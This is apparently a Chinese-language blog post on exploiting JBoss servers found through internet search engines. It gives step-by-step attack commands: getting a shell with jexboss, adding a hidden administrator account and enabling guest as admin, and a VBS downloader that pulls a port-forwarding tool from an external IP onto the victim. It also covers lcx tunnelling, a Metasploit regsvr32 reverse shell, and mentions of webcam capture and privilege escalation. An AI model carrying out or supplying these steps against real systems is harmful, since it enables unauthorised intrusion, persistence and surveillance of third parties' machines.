jboss漏洞利用

JBOSS简介

1、 概念

JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。

2、优点

1. JBoss是免费的，开放源代码J2EE的实现，通过LGPL许可证进行发布。
2. JBoss需要的内存和硬盘空间比较小。
3. 安装非常简单。先解压缩JBoss打包文件再配置一些环境变量就可以了。
4. JBoss能够”热部署”，部署BEAN只是简单拷贝BEAN的JAR文件到部署路径下就可以了。如果没有加载就加载它；如果已经加载了就自动更新。
5. JBoss与Web服务器在同一个Java虚拟机中运行，Servlet调用EJB不经过网络，从而大大提高运行效率，提升安全性能。
6. 用户可以直接实施J2EE-EAR，而不是以前分别实施EJB-JAR和Web-WAR，非常方便。
7. Jboss支持集群

漏洞利用

1、利用工具

从github上下载jboss利用工具jexboss；python运行jexboss.py后接参数：-u后加链接；-host后接ip

2、寻找目标

利用钟馗之眼或fofa等进行jboss搜索；选择目标，利用工具进行扫描

3、getshell

利用工具进行ip或链接扫描后会自动写入一个shell，并返回给你，直接得到一个命令行

4、创建隐藏用户或激活guest用户

1.创建隐藏管理员用户

net user test$ test /add
net localgroup administrators test$ /add 

2.激活guest用户

net user guest /active:yes
net user guest 1234
net localgroup administrators guest /add

5、端口转发

1.因为得到的shell处于一个内网中；所以想尝试端口转发到自己的vbs上
2.win cmd中下载端口转发工具

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >> dc.vbs   
echo xPost.Open "GET","http://45.32.62.186/lcx.txt",0 >> dc.vbs 
echo xPost.Send() >> dc.vbs 
echo Set sGet = CreateObject("ADODB.Stream") >> dc.vbs   
echo sGet.Mode = 3 >> dc.vbs 
echo sGet.Type = 1 >> dc.vbs   
echo sGet.Open() >> dc.vbs   
echo sGet.Write(xPost.responseBody) >> dc.vbs  
echo sGet.SaveToFile "C:/PACS/dcm4chee-mysql-2.14.5/bin/lcx.txt",2 >> dc.vbs 

将txt文件转为exe文件
3. lcx端口转发

内网主机
lcx.exe -slave 对外主机ip 转发到的端口 内网主机ip 要转发的端口
对外主机
lcx.exe -listen 转发到的端口 接收端口（未占用）
外网访问
对外主机ip：接收的端口

或

对外的主机
lcx.exe -tran 转发到的端口 内网主机ip 要转发的端口 
外网访问
对外主机ip：转发到的端口

最后是失败的；还在找原因

6、msf利用win漏洞实现shell反弹

1.在vbs上安装msf工具
2.执行下列命令

search web_delivery  //列出漏洞利用模块
use exploit/windows/misc/regsvr32_applocker_bypass_server  //这个模块win7以上都通杀，但是360会拦截
set lhost ip
set lport 端口
exploit  // 会生成一个exp，将exp复制到win命令行执行，并会返回到本地一个session
sessions -i 返回的sessionid   //-i是调用sessionid的参数

得到一个反弹回来的shell，权限与你得到shell权限一样，可以输入shell进入cmd命令行；或help查看其它参数能执行其它功能;比如截对方的屏幕；打开对方摄像头等

3.提权

• 如果你得到的是一个低权限用户，可以通过bybass UAC 来提升到管理员权限，具体操作不在这篇介绍，等我再了解下会写专门的博客记录
• 虽然我们反弹回来shell，但是在目标机上打开了一个shell的进程，我们提权后可以将这个进程植入到一个目标机本身存在的进程 中，如果该进程是system运行的，我们还可以提升到system权限

---

关于meterpreter的具体使用见后面的笔记；谢谢